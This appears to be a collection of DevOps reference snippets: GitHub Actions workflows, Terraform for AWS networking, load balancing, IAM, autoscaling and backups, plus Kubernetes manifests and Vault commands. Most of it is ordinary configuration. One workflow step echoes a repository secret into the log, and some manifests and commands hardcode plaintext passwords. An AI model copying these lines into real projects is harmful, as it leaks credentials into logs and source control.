        node-version: [16, 18, 20]
        include:
          - os: ubuntu-latest
            node-version: 20
            experimental: true
        exclude:
          - os: macos-latest
            node-version: 16
      fail-fast: false
      max-parallel: 4

    steps:
      - uses: actions/checkout@v3
      - uses: actions/setup-node@v3
        with:
          node-version: ${{ matrix.node-version }}
      - run: npm ci
      - run: npm test

name: Build with Cache

on: [push]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3

      - name: Cache Node modules
        uses: actions/cache@v3
        with:
          path: ~/.npm
          key: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }}
          restore-keys: |
            ${{ runner.os }}-node-

      - uses: actions/setup-node@v3
        with:
          node-version: '18'
          cache: 'npm'

      - run: npm ci
      - run: npm run build

name: Docker

on:
  push:
    branches: [main]
    tags: ['v*']

jobs:
  docker:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3

      - name: Set up Docker Buildx
        uses: docker/setup-buildx-action@v2

      - name: Login to DockerHub
        uses: docker/login-action@v2
        with:
          username: ${{ secrets.DOCKERHUB_USERNAME }}
          password: ${{ secrets.DOCKERHUB_TOKEN }}

      - name: Extract metadata
        id: meta
        uses: docker/metadata-action@v4
        with:
          images: myapp/image
          tags: |
            type=ref,event=branch
            type=semver,pattern={{version}}
            type=sha

      - name: Build and push
        uses: docker/build-push-action@v4
        with:
          context: .
          push: true
          tags: ${{ steps.meta.outputs.tags }}
          labels: ${{ steps.meta.outputs.labels }}
          cache-from: type=registry,ref=myapp/image:buildcache
          cache-to: type=registry,ref=myapp/image:buildcache,mode=max

name: Release

on:
  push:
    tags:
      - 'v*'

jobs:
  release:
    runs-on: ubuntu-latest
    permissions:
      contents: write
    steps:
      - uses: actions/checkout@v3
        with:
          fetch-depth: 0

      - name: Generate changelog
        id: changelog
        uses: metcalfc/changelog-generator@v4
        with:
          myToken: ${{ secrets.GITHUB_TOKEN }}

      - name: Create Release
        uses: softprops/action-gh-release@v1
        with:
          body: ${{ steps.changelog.outputs.changelog }}
          files: |
            dist/**
            LICENSE
            README.md
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

name: Monorepo CI

on: [push, pull_request]

jobs:
  changes:
    runs-on: ubuntu-latest
    outputs:
      frontend: ${{ steps.filter.outputs.frontend }}
      backend: ${{ steps.filter.outputs.backend }}
    steps:
      - uses: actions/checkout@v3
      - uses: dorny/paths-filter@v2
        id: filter
        with:
          filters: |
            frontend:
              - 'packages/frontend/**'
            backend:
              - 'packages/backend/**'

  frontend:
    needs: changes
    if: needs.changes.outputs.frontend == 'true'
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - run: npm ci
        working-directory: packages/frontend
      - run: npm test
        working-directory: packages/frontend

  backend:
    needs: changes
    if: needs.changes.outputs.backend == 'true'
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - run: npm ci
        working-directory: packages/backend
      - run: npm test
        working-directory: packages/backend

steps:
  - name: Use secret
    run: echo "Secret value: ${{ secrets.MY_SECRET }}"
    env:
      API_KEY: ${{ secrets.API_KEY }}

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production
    steps:
      - name: Deploy
        run: ./deploy.sh
        env:
          DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Use variables
        run: |
          echo "Environment: ${{ vars.ENVIRONMENT }}"
          echo "API URL: ${{ vars.API_URL }}"

# .github/workflows/reusable-deploy.yml
name: Reusable Deploy

on:
  workflow_call:
    inputs:
      environment:
        required: true
        type: string
      region:
        required: false
        type: string
        default: 'us-east-1'
    secrets:
      aws-access-key:
        required: true
      aws-secret-key:
        required: true
    outputs:
      deployment-url:
        description: "URL of deployment"
        value: ${{ jobs.deploy.outputs.url }}

jobs:
  deploy:
    runs-on: ubuntu-latest
    outputs:
      url: ${{ steps.deploy.outputs.url }}
    steps:
      - uses: actions/checkout@v3
      - name: Deploy
        id: deploy
        run: |
          echo "Deploying to ${{ inputs.environment }}"
          echo "url=https://app.example.com" >> $GITHUB_OUTPUT

# .github/workflows/main.yml
name: Main

on: [push]

jobs:
  deploy-staging:
    uses: ./.github/workflows/reusable-deploy.yml
    with:
      environment: staging
    secrets:
      aws-access-key: ${{ secrets.AWS_ACCESS_KEY_ID }}
      aws-secret-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}

  deploy-prod:
    needs: deploy-staging
    uses: ./.github/workflows/reusable-deploy.yml
    with:
      environment: production
      region: us-west-2
    secrets:
      aws-access-key: ${{ secrets.AWS_ACCESS_KEY_ID }}
      aws-secret-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}

# .github/actions/setup-app/action.yml
name: 'Setup Application'
description: 'Setup Node.js and install dependencies'

inputs:
  node-version:
    description: 'Node.js version'
    required: false
    default: '18'
  cache:
    description: 'Enable caching'
    required: false
    default: 'true'

runs:
  using: 'composite'
  steps:
    - uses: actions/setup-node@v3
      with:
        node-version: ${{ inputs.node-version }}
        cache: ${{ inputs.cache == 'true' && 'npm' || '' }}

    - name: Install dependencies
      shell: bash
      run: npm ci

    - name: Verify installation
      shell: bash
      run: npm --version

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - uses: ./.github/actions/setup-app
        with:
          node-version: '20'
      - run: npm run build

# Use specific versions, not latest
- uses: actions/checkout@v3

# Limit permissions
permissions:
  contents: read
  issues: write

# Use environments for protection rules
jobs:
  deploy:
    environment:
      name: production
      url: https://prod.example.com

# Never log secrets
- run: echo "Token: ***"
  env:
    TOKEN: ${{ secrets.GITHUB_TOKEN }}

# Use OIDC for cloud authentication
- uses: aws-actions/configure-aws-credentials@v2
  with:
    role-to-assume: arn:aws:iam::123456789012:role/MyRole
    aws-region: us-east-1

# Use caching
- uses: actions/cache@v3

# Limit checkout depth
- uses: actions/checkout@v3
  with:
    fetch-depth: 1

# Use concurrency to cancel old runs
concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: true

# Skip CI when not needed
on:
  push:
    paths-ignore:
      - 'docs/**'
      - '**.md'

# Use meaningful names
name: Backend CI Pipeline

# Add descriptions to inputs
inputs:
  environment:
    description: 'Target deployment environment'
    required: true

# Use step outputs for data flow
- id: build
  run: echo "version=1.0.0" >> $GITHUB_OUTPUT
- run: echo "Version: ${{ steps.build.outputs.version }}"

# Group related steps
- name: Setup dependencies
  run: |
    npm ci
    npm run setup

# Use continue-on-error for optional steps
- name: Upload test results
  if: always()
  continue-on-error: true
  uses: actions/upload-artifact@v3

# Enable debug logging
# Set repository secret: ACTIONS_STEP_DEBUG=true

# Use step debugging
- name: Debug
  run: |
    echo "Event: ${{ github.event_name }}"
    echo "Ref: ${{ github.ref }}"
    echo "Actor: ${{ github.actor }}"

# View context
- name: Dump GitHub context
  env:
    GITHUB_CONTEXT: ${{ toJson(github) }}
  run: echo "$GITHUB_CONTEXT"

${{ github.repository }}       # owner/repo
${{ github.ref }}               # refs/heads/main
${{ github.sha }}               # commit SHA
${{ github.actor }}             # username who triggered
${{ github.event_name }}        # push, pull_request, etc.
${{ github.run_id }}            # unique run ID
${{ github.run_number }}        # run number

${{ job.status }}               # success, failure, cancelled
${{ job.container.id }}         # container ID if used

${{ runner.os }}                # Linux, Windows, macOS
${{ runner.arch }}              # X64, ARM, ARM64
${{ runner.temp }}              # temp directory path
${{ runner.tool_cache }}        # tool cache path

env:
  NODE_ENV: production
  API_URL: ${{ vars.API_URL }}
  SECRET_KEY: ${{ secrets.SECRET_KEY }}

jobs:
  deploy:
    if: github.ref == 'refs/heads/main' && github.event_name == 'push'
    steps:
      - name: Deploy to staging
        if: contains(github.event.head_commit.message, '[staging]')
        run: ./deploy-staging.sh

      - name: Deploy to production
        if: startsWith(github.ref, 'refs/tags/v')
        run: ./deploy-prod.sh

jobs:
  setup:
    runs-on: ubuntu-latest
    outputs:
      matrix: ${{ steps.set-matrix.outputs.matrix }}
    steps:
      - id: set-matrix
        run: |
          echo "matrix={\"node\":[16,18,20]}" >> $GITHUB_OUTPUT

  build:
    needs: setup
    strategy:
      matrix: ${{ fromJson(needs.setup.outputs.matrix) }}
    runs-on: ubuntu-latest
    steps:
      - uses: actions/setup-node@v3
        with:
          node-version: ${{ matrix.node }}

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - run: npm run build
      - uses: actions/upload-artifact@v3
        with:
          name: build-${{ github.sha }}
          path: dist/
          retention-days: 5

  deploy:
    needs: build
    runs-on: ubuntu-latest
    steps:
      - uses: actions/download-artifact@v3
        with:
          name: build-${{ github.sha }}
          path: dist/
      - run: ./deploy.sh

permissions:
  contents: write
  packages: write
  pull-requests: write

jobs:
  build:
    timeout-minutes: 60
    steps:
      - name: Long task
        timeout-minutes: 30
        run: ./long-task.sh

- name: Wait before API call
  run: sleep 10

VPC (10.0.0.0/16)
├── Public Subnet (10.0.1.0/24)    [Internet Gateway]
│   ├── NAT Gateway
│   └── Load Balancer
├── Private Subnet (10.0.2.0/24)   [No direct internet]
│   ├── Application Servers
│   └── Cache Layer
└── Database Subnet (10.0.3.0/24)  [Isolated]
    └── Database Servers

# VPC
resource "aws_vpc" "main" {
  cidr_block           = "10.0.0.0/16"
  enable_dns_hostnames = true
  enable_dns_support   = true

  tags = {
    Name = "production-vpc"
  }
}

# Internet Gateway
resource "aws_internet_gateway" "main" {
  vpc_id = aws_vpc.main.id
}

# Public Subnet
resource "aws_subnet" "public" {
  count                   = 3
  vpc_id                  = aws_vpc.main.id
  cidr_block              = "10.0.${count.index + 1}.0/24"
  availability_zone       = data.aws_availability_zones.available.names[count.index]
  map_public_ip_on_launch = true

  tags = {
    Name = "public-subnet-${count.index + 1}"
    Type = "public"
  }
}

# Private Subnet
resource "aws_subnet" "private" {
  count             = 3
  vpc_id            = aws_vpc.main.id
  cidr_block        = "10.0.${count.index + 10}.0/24"
  availability_zone = data.aws_availability_zones.available.names[count.index]

  tags = {
    Name = "private-subnet-${count.index + 1}"
    Type = "private"
  }
}

# NAT Gateway
resource "aws_eip" "nat" {
  count  = 3
  domain = "vpc"
}

resource "aws_nat_gateway" "main" {
  count         = 3
  allocation_id = aws_eip.nat[count.index].id
  subnet_id     = aws_subnet.public[count.index].id
}

# Route Tables
resource "aws_route_table" "public" {
  vpc_id = aws_vpc.main.id

  route {
    cidr_block = "0.0.0.0/0"
    gateway_id = aws_internet_gateway.main.id
  }

  tags = {
    Name = "public-route-table"
  }
}

resource "aws_route_table" "private" {
  count  = 3
  vpc_id = aws_vpc.main.id

  route {
    cidr_block     = "0.0.0.0/0"
    nat_gateway_id = aws_nat_gateway.main[count.index].id
  }

  tags = {
    Name = "private-route-table-${count.index + 1}"
  }
}

# Route Table Associations
resource "aws_route_table_association" "public" {
  count          = 3
  subnet_id      = aws_subnet.public[count.index].id
  route_table_id = aws_route_table.public.id
}

resource "aws_route_table_association" "private" {
  count          = 3
  subnet_id      = aws_subnet.private[count.index].id
  route_table_id = aws_route_table.private[count.index].id
}

10.0.0.0/8        (10.0.0.0 - 10.255.255.255)     16M addresses
172.16.0.0/12     (172.16.0.0 - 172.31.255.255)   1M addresses
192.168.0.0/16    (192.168.0.0 - 192.168.255.255) 65K addresses

/28 = 16 IPs   (11 usable)   - Small services
/24 = 256 IPs  (251 usable)  - Standard subnet
/20 = 4096 IPs (4091 usable) - Large subnet
/16 = 65536 IPs              - VPC

# Hosted Zone
resource "aws_route53_zone" "main" {
  name = "example.com"

  tags = {
    Environment = "production"
  }
}

# A Record
resource "aws_route53_record" "www" {
  zone_id = aws_route53_zone.main.zone_id
  name    = "www.example.com"
  type    = "A"

  alias {
    name                   = aws_lb.main.dns_name
    zone_id                = aws_lb.main.zone_id
    evaluate_target_health = true
  }
}

# Weighted Routing
resource "aws_route53_record" "api_primary" {
  zone_id        = aws_route53_zone.main.zone_id
  name           = "api.example.com"
  type           = "A"
  set_identifier = "primary"

  weighted_routing_policy {
    weight = 90
  }

  alias {
    name                   = aws_lb.primary.dns_name
    zone_id                = aws_lb.primary.zone_id
    evaluate_target_health = true
  }
}

# Failover Routing
resource "aws_route53_record" "failover_primary" {
  zone_id        = aws_route53_zone.main.zone_id
  name           = "app.example.com"
  type           = "A"
  set_identifier = "primary"

  failover_routing_policy {
    type = "PRIMARY"
  }

  alias {
    name                   = aws_lb.primary.dns_name
    zone_id                = aws_lb.primary.zone_id
    evaluate_target_health = true
  }

  health_check_id = aws_route53_health_check.primary.id
}

# Health Check
resource "aws_route53_health_check" "primary" {
  fqdn              = aws_lb.primary.dns_name
  port              = 443
  type              = "HTTPS"
  resource_path     = "/health"
  failure_threshold = 3
  request_interval  = 30

  tags = {
    Name = "primary-health-check"
  }
}

resource "aws_lb" "main" {
  name               = "app-alb"
  internal           = false
  load_balancer_type = "application"
  security_groups    = [aws_security_group.alb.id]
  subnets            = aws_subnet.public[*].id

  enable_deletion_protection = true
  enable_http2              = true

  access_logs {
    bucket  = aws_s3_bucket.lb_logs.id
    enabled = true
  }

  tags = {
    Name = "app-alb"
  }
}

# Target Group
resource "aws_lb_target_group" "app" {
  name     = "app-tg"
  port     = 80
  protocol = "HTTP"
  vpc_id   = aws_vpc.main.id

  health_check {
    enabled             = true
    path                = "/health"
    port                = "traffic-port"
    protocol            = "HTTP"
    healthy_threshold   = 2
    unhealthy_threshold = 3
    timeout             = 5
    interval            = 30
    matcher             = "200"
  }

  stickiness {
    type            = "lb_cookie"
    cookie_duration = 86400
    enabled         = true
  }

  deregistration_delay = 30
}

# Listener
resource "aws_lb_listener" "https" {
  load_balancer_arn = aws_lb.main.arn
  port              = 443
  protocol          = "HTTPS"
  ssl_policy        = "ELBSecurityPolicy-TLS-1-2-2017-01"
  certificate_arn   = aws_acm_certificate.main.arn

  default_action {
    type             = "forward"
    target_group_arn = aws_lb_target_group.app.arn
  }
}

# HTTP to HTTPS Redirect
resource "aws_lb_listener" "http" {
  load_balancer_arn = aws_lb.main.arn
  port              = 80
  protocol          = "HTTP"

  default_action {
    type = "redirect"

    redirect {
      port        = "443"
      protocol    = "HTTPS"
      status_code = "HTTP_301"
    }
  }
}

# Path-based Routing
resource "aws_lb_listener_rule" "api" {
  listener_arn = aws_lb_listener.https.arn
  priority     = 100

  action {
    type             = "forward"
    target_group_arn = aws_lb_target_group.api.arn
  }

  condition {
    path_pattern {
      values = ["/api/*"]
    }
  }
}

# Host-based Routing
resource "aws_lb_listener_rule" "admin" {
  listener_arn = aws_lb_listener.https.arn
  priority     = 200

  action {
    type             = "forward"
    target_group_arn = aws_lb_target_group.admin.arn
  }

  condition {
    host_header {
      values = ["admin.example.com"]
    }
  }
}

resource "aws_lb" "network" {
  name               = "app-nlb"
  internal           = false
  load_balancer_type = "network"
  subnets            = aws_subnet.public[*].id

  enable_cross_zone_load_balancing = true

  tags = {
    Name = "app-nlb"
  }
}

resource "aws_lb_target_group" "tcp" {
  name     = "tcp-tg"
  port     = 443
  protocol = "TCP"
  vpc_id   = aws_vpc.main.id

  health_check {
    protocol            = "TCP"
    port                = "traffic-port"
    healthy_threshold   = 3
    unhealthy_threshold = 3
    interval            = 30
  }

  preserve_client_ip = true
}

# ALB Security Group
resource "aws_security_group" "alb" {
  name        = "alb-sg"
  description = "Allow inbound HTTPS traffic"
  vpc_id      = aws_vpc.main.id

  ingress {
    description = "HTTPS from internet"
    from_port   = 443
    to_port     = 443
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]
  }

  ingress {
    description = "HTTP from internet"
    from_port   = 80
    to_port     = 80
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]
  }

  egress {
    description     = "To application servers"
    from_port       = 80
    to_port         = 80
    protocol        = "tcp"
    security_groups = [aws_security_group.app.id]
  }

  tags = {
    Name = "alb-sg"
  }
}

# Application Security Group
resource "aws_security_group" "app" {
  name        = "app-sg"
  description = "Application servers"
  vpc_id      = aws_vpc.main.id

  ingress {
    description     = "HTTP from ALB"
    from_port       = 80
    to_port         = 80
    protocol        = "tcp"
    security_groups = [aws_security_group.alb.id]
  }

  egress {
    description     = "To database"
    from_port       = 5432
    to_port         = 5432
    protocol        = "tcp"
    security_groups = [aws_security_group.db.id]
  }

  egress {
    description = "To internet"
    from_port   = 0
    to_port     = 0
    protocol    = "-1"
    cidr_blocks = ["0.0.0.0/0"]
  }

  tags = {
    Name = "app-sg"
  }
}

# Database Security Group
resource "aws_security_group" "db" {
  name        = "db-sg"
  description = "Database servers"
  vpc_id      = aws_vpc.main.id

  ingress {
    description     = "PostgreSQL from app servers"
    from_port       = 5432
    to_port         = 5432
    protocol        = "tcp"
    security_groups = [aws_security_group.app.id]
  }

  tags = {
    Name = "db-sg"
  }
}

resource "aws_network_acl" "main" {
  vpc_id     = aws_vpc.main.id
  subnet_ids = aws_subnet.private[*].id

  # Inbound HTTP
  ingress {
    rule_no    = 100
    protocol   = "tcp"
    action     = "allow"
    cidr_block = "10.0.0.0/16"
    from_port  = 80
    to_port    = 80
  }

  # Inbound HTTPS
  ingress {
    rule_no    = 110
    protocol   = "tcp"
    action     = "allow"
    cidr_block = "10.0.0.0/16"
    from_port  = 443
    to_port    = 443
  }

  # Inbound ephemeral ports
  ingress {
    rule_no    = 120
    protocol   = "tcp"
    action     = "allow"
    cidr_block = "0.0.0.0/0"
    from_port  = 1024
    to_port    = 65535
  }

  # Outbound all
  egress {
    rule_no    = 100
    protocol   = "-1"
    action     = "allow"
    cidr_block = "0.0.0.0/0"
    from_port  = 0
    to_port    = 0
  }

  tags = {
    Name = "private-nacl"
  }
}

# EC2 Instance Role
resource "aws_iam_role" "ec2_role" {
  name = "ec2-app-role"

  assume_role_policy = jsonencode({
    Version = "2012-10-17"
    Statement = [
      {
        Action = "sts:AssumeRole"
        Effect = "Allow"
        Principal = {
          Service = "ec2.amazonaws.com"
        }
      }
    ]
  })
}

# Policy for S3 Access
resource "aws_iam_policy" "s3_access" {
  name        = "s3-access-policy"
  description = "Allow read/write to specific S3 bucket"

  policy = jsonencode({
    Version = "2012-10-17"
    Statement = [
      {
        Effect = "Allow"
        Action = [
          "s3:GetObject",
          "s3:PutObject",
          "s3:DeleteObject"
        ]
        Resource = "arn:aws:s3:::my-bucket/*"
      },
      {
        Effect = "Allow"
        Action = [
          "s3:ListBucket"
        ]
        Resource = "arn:aws:s3:::my-bucket"
      }
    ]
  })
}

# Attach Policy to Role
resource "aws_iam_role_policy_attachment" "s3_access" {
  role       = aws_iam_role.ec2_role.name
  policy_arn = aws_iam_policy.s3_access.arn
}

# Instance Profile
resource "aws_iam_instance_profile" "ec2_profile" {
  name = "ec2-instance-profile"
  role = aws_iam_role.ec2_role.name
}

apiVersion: v1
kind: ServiceAccount
metadata:
  name: app-service-account
  annotations:
    eks.amazonaws.com/role-arn: arn:aws:iam::123456789012:role/app-role
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: app-role
rules:
- apiGroups: [""]
  resources: ["pods", "services"]
  verbs: ["get", "list", "watch"]
- apiGroups: ["apps"]
  resources: ["deployments"]
  verbs: ["get", "list", "update"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: app-role-binding
subjects:
- kind: ServiceAccount
  name: app-service-account
roleRef:
  kind: Role
  name: app-role
  apiGroup: rbac.authorization.k8s.io

resource "aws_secretsmanager_secret" "db_password" {
  name                    = "production/db/password"
  description             = "Database password"
  recovery_window_in_days = 7

  tags = {
    Environment = "production"
  }
}

resource "aws_secretsmanager_secret_version" "db_password" {
  secret_id = aws_secretsmanager_secret.db_password.id
  secret_string = jsonencode({
    username = "admin"
    password = random_password.db_password.result
    engine   = "postgres"
    host     = aws_db_instance.main.endpoint
  })
}

# Application retrieval
data "aws_secretsmanager_secret_version" "db_password" {
  secret_id = aws_secretsmanager_secret.db_password.id
}

locals {
  db_credentials = jsondecode(data.aws_secretsmanager_secret_version.db_password.secret_string)
}

apiVersion: v1
kind: Secret
metadata:
  name: db-credentials
type: Opaque
stringData:
  username: admin
  password: secretpassword123
  host: postgres.example.com
---
# Using in Pod
apiVersion: v1
kind: Pod
metadata:
  name: app-pod
spec:
  containers:
  - name: app
    image: myapp:latest
    env:
    - name: DB_USERNAME
      valueFrom:
        secretKeyRef:
          name: db-credentials
          key: username
    - name: DB_PASSWORD
      valueFrom:
        secretKeyRef:
          name: db-credentials
          key: password
    volumeMounts:
    - name: secrets
      mountPath: "/etc/secrets"
      readOnly: true
  volumes:
  - name: secrets
    secret:
      secretName: db-credentials

# Store secret
vault kv put secret/db/config \
  username="admin" \
  password="secretpassword" \
  host="db.example.com"

# Retrieve secret
vault kv get secret/db/config

# Dynamic secrets for database
vault write database/roles/app-role \
  db_name=postgres \
  creation_statements="CREATE ROLE \"{{name}}\" WITH LOGIN PASSWORD '{{password}}' VALID UNTIL '{{expiration}}';" \
  default_ttl="1h" \
  max_ttl="24h"

# Generate credentials
vault read database/creds/app-role

resource "aws_launch_template" "app" {
  name_prefix   = "app-"
  image_id      = data.aws_ami.amazon_linux_2.id
  instance_type = "t3.medium"

  vpc_security_group_ids = [aws_security_group.app.id]
  iam_instance_profile {
    name = aws_iam_instance_profile.ec2_profile.name
  }

  user_data = base64encode(templatefile("userdata.sh", {
    environment = "production"
  }))

  tag_specifications {
    resource_type = "instance"
    tags = {
      Name = "app-server"
    }
  }
}

resource "aws_autoscaling_group" "app" {
  name                = "app-asg"
  vpc_zone_identifier = aws_subnet.private[*].id
  target_group_arns   = [aws_lb_target_group.app.arn]
  health_check_type   = "ELB"
  health_check_grace_period = 300

  min_size         = 2
  max_size         = 10
  desired_capacity = 3

  launch_template {
    id      = aws_launch_template.app.id
    version = "$Latest"
  }

  enabled_metrics = [
    "GroupDesiredCapacity",
    "GroupInServiceInstances",
    "GroupMinSize",
    "GroupMaxSize"
  ]

  tag {
    key                 = "Name"
    value               = "app-server"
    propagate_at_launch = true
  }
}

# Scaling Policies
resource "aws_autoscaling_policy" "scale_up" {
  name                   = "scale-up"
  scaling_adjustment     = 2
  adjustment_type        = "ChangeInCapacity"
  cooldown               = 300
  autoscaling_group_name = aws_autoscaling_group.app.name
}

resource "aws_autoscaling_policy" "scale_down" {
  name                   = "scale-down"
  scaling_adjustment     = -1
  adjustment_type        = "ChangeInCapacity"
  cooldown               = 300
  autoscaling_group_name = aws_autoscaling_group.app.name
}

# CloudWatch Alarms
resource "aws_cloudwatch_metric_alarm" "high_cpu" {
  alarm_name          = "high-cpu"
  comparison_operator = "GreaterThanThreshold"
  evaluation_periods  = 2
  metric_name         = "CPUUtilization"
  namespace           = "AWS/EC2"
  period              = 120
  statistic           = "Average"
  threshold           = 80

  dimensions = {
    AutoScalingGroupName = aws_autoscaling_group.app.name
  }

  alarm_actions = [aws_autoscaling_policy.scale_up.arn]
}

resource "aws_cloudwatch_metric_alarm" "low_cpu" {
  alarm_name          = "low-cpu"
  comparison_operator = "LessThanThreshold"
  evaluation_periods  = 2
  metric_name         = "CPUUtilization"
  namespace           = "AWS/EC2"
  period              = 120
  statistic           = "Average"
  threshold           = 20

  dimensions = {
    AutoScalingGroupName = aws_autoscaling_group.app.name
  }

  alarm_actions = [aws_autoscaling_policy.scale_down.arn]
}

apiVersion: autoscaling/v2
kind: HorizontalPodAutoscaler
metadata:
  name: app-hpa
spec:
  scaleTargetRef:
    apiVersion: apps/v1
    kind: Deployment
    name: app
  minReplicas: 3
  maxReplicas: 10
  metrics:
  - type: Resource
    resource:
      name: cpu
      target:
        type: Utilization
        averageUtilization: 70
  - type: Resource
    resource:
      name: memory
      target:
        type: Utilization
        averageUtilization: 80
  - type: Pods
    pods:
      metric:
        name: http_requests_per_second
      target:
        type: AverageValue
        averageValue: "1000"
  behavior:
    scaleDown:
      stabilizationWindowSeconds: 300
      policies:
      - type: Percent
        value: 50
        periodSeconds: 60
    scaleUp:
      stabilizationWindowSeconds: 0
      policies:
      - type: Percent
        value: 100
        periodSeconds: 30
      - type: Pods
        value: 2
        periodSeconds: 30
      selectPolicy: Max

# Stop instance
aws ec2 stop-instances --instance-ids i-1234567890abcdef0

# Change instance type
aws ec2 modify-instance-attribute \
  --instance-id i-1234567890abcdef0 \
  --instance-type "{\"Value\": \"t3.large\"}"

# Start instance
aws ec2 start-instances --instance-ids i-1234567890abcdef0

apiVersion: autoscaling.k8s.io/v1
kind: VerticalPodAutoscaler
metadata:
  name: app-vpa
spec:
  targetRef:
    apiVersion: "apps/v1"
    kind: Deployment
    name: app
  updatePolicy:
    updateMode: "Auto"
  resourcePolicy:
    containerPolicies:
    - containerName: app
      minAllowed:
        cpu: 100m
        memory: 128Mi
      maxAllowed:
        cpu: 2
        memory: 2Gi
      controlledResources: ["cpu", "memory"]

data "aws_availability_zones" "available" {
  state = "available"
}

# Distribute resources across AZs
resource "aws_instance" "app" {
  count             = 6
  ami               = data.aws_ami.amazon_linux_2.id
  instance_type     = "t3.medium"
  availability_zone = data.aws_availability_zones.available.names[count.index % 3]
  subnet_id         = aws_subnet.private[count.index % 3].id

  tags = {
    Name = "app-server-${count.index + 1}"
    AZ   = data.aws_availability_zones.available.names[count.index % 3]
  }
}

resource "aws_db_instance" "main" {
  identifier     = "production-db"
  engine         = "postgres"
  engine_version = "15.3"
  instance_class = "db.r6g.xlarge"

  multi_az               = true  # Automatic failover
  db_subnet_group_name   = aws_db_subnet_group.main.name
  vpc_security_group_ids = [aws_security_group.db.id]

  backup_retention_period = 7
  backup_window          = "03:00-04:00"
  maintenance_window     = "sun:04:00-sun:05:00"

  enabled_cloudwatch_logs_exports = ["postgresql", "upgrade"]
}

resource "aws_db_instance" "replica" {
  count              = 3
  identifier         = "db-replica-${count.index + 1}"
  replicate_source_db = aws_db_instance.main.identifier
  instance_class     = "db.r6g.large"

  availability_zone = data.aws_availability_zones.available.names[count.index]
  publicly_accessible = false

  backup_retention_period = 0  # Replicas don't need backups
}

# EBS Snapshots
resource "aws_ebs_snapshot" "backup" {
  volume_id = aws_ebs_volume.data.id

  tags = {
    Name = "data-backup-${formatdate("YYYY-MM-DD", timestamp())}"
  }
}

# DLM Lifecycle Policy
resource "aws_dlm_lifecycle_policy" "backups" {
  description        = "Daily EBS snapshots"
  execution_role_arn = aws_iam_role.dlm.arn
  state              = "ENABLED"

  policy_details {
    resource_types = ["VOLUME"]

    schedule {
      name = "Daily snapshots"

      create_rule {
        interval      = 24
        interval_unit = "HOURS"
        times         = ["03:00"]
      }

      retain_rule {
        count = 7
      }

      tags_to_add = {
        SnapshotType = "automated"
      }

      copy_tags = true
    }

    target_tags = {
      Backup = "true"
    }
  }
}

# S3 Cross-Region Replication
resource "aws_s3_bucket_replication_configuration" "replication" {
  bucket = aws_s3_bucket.primary.id
  role   = aws_iam_role.replication.arn

  rule {
    id     = "replicate-all"
    status = "Enabled"

    destination {
      bucket        = aws_s3_bucket.replica.arn
      storage_class = "STANDARD_IA"

      replication_time {
        status = "Enabled"
        time {
          minutes = 15
        }
      }

      metrics {
        status = "Enabled"
        event_threshold {
          minutes = 15
        }
      }
    }
  }
}

resource "aws_cloudfront_distribution" "main" {
  enabled             = true
  is_ipv6_enabled     = true
  comment             = "Production CDN"
  default_root_object = "index.html"
  price_class         = "PriceClass_All"

  aliases = ["www.example.com", "example.com"]

  origin {
    domain_name = aws_lb.main.dns_name
    origin_id   = "ALB"

    custom_origin_config {
      http_port              = 80
      https_port             = 443
      origin_protocol_policy = "https-only"
      origin_ssl_protocols   = ["TLSv1.2"]
    }

    custom_header {
      name  = "X-Custom-Header"
      value = "secret-value"
    }
  }

  origin {
    domain_name = aws_s3_bucket.static.bucket_regional_domain_name
    origin_id   = "S3"

    s3_origin_config {
      origin_access_identity = aws_cloudfront_origin_access_identity.main.cloudfront_access_identity_path
    }
  }

  default_cache_behavior {
    allowed_methods  = ["GET", "HEAD", "OPTIONS", "PUT", "POST", "PATCH", "DELETE"]
    cached_methods   = ["GET", "HEAD"]
    target_origin_id = "ALB"

    forwarded_values {
      query_string = true
      headers      = ["Host", "Authorization"]

      cookies {
        forward = "all"
      }
    }

    viewer_protocol_policy = "redirect-to-https"
    min_ttl                = 0
    default_ttl            = 3600
    max_ttl                = 86400
    compress               = true
  }

  ordered_cache_behavior {
    path_pattern     = "/static/*"
    allowed_methods  = ["GET", "HEAD"]
    cached_methods   = ["GET", "HEAD"]
    target_origin_id = "S3"

    forwarded_values {
      query_string = false
      cookies {
        forward = "none"
      }
    }

    viewer_protocol_policy = "redirect-to-https"
    min_ttl                = 0
    default_ttl            = 86400
    max_ttl                = 31536000
    compress               = true
  }

  restrictions {
    geo_restriction {
      restriction_type = "none"
    }
  }

  viewer_certificate {
    acm_certificate_arn      = aws_acm_certificate.main.arn
    ssl_support_method       = "sni-only"
    minimum_protocol_version = "TLSv1.2_2021"
  }

  custom_error_response {
    error_code         = 404
    response_code      = 404
    response_page_path = "/404.html"
  }

  tags = {
    Environment = "production"
  }
}

# Purchase Reserved Instance
aws ec2 purchase-reserved-instances-offering \
  --reserved-instances-offering-id xxx \
  --instance-count 3

# Savings Plans
aws savingsplans purchase-savingsplan \
  --savingsplan-offering-id xxx \
  --commitment 100

resource "aws_spot_instance_request" "worker" {
  ami           = data.aws_ami.amazon_linux_2.id
  instance_type = "t3.medium"
  spot_price    = "0.05"

  wait_for_fulfillment = true
  spot_type            = "persistent"

  tags = {
    Name = "spot-worker"
  }
}

# Spot Fleet
resource "aws_spot_fleet_request" "workers" {
  iam_fleet_role      = aws_iam_role.spot_fleet.arn
  target_capacity     = 10
  allocation_strategy = "lowestPrice"

  launch_specification {
    instance_type     = "t3.medium"
    ami               = data.aws_ami.amazon_linux_2.id
    spot_price        = "0.05"
    availability_zone = "us-east-1a"
  }

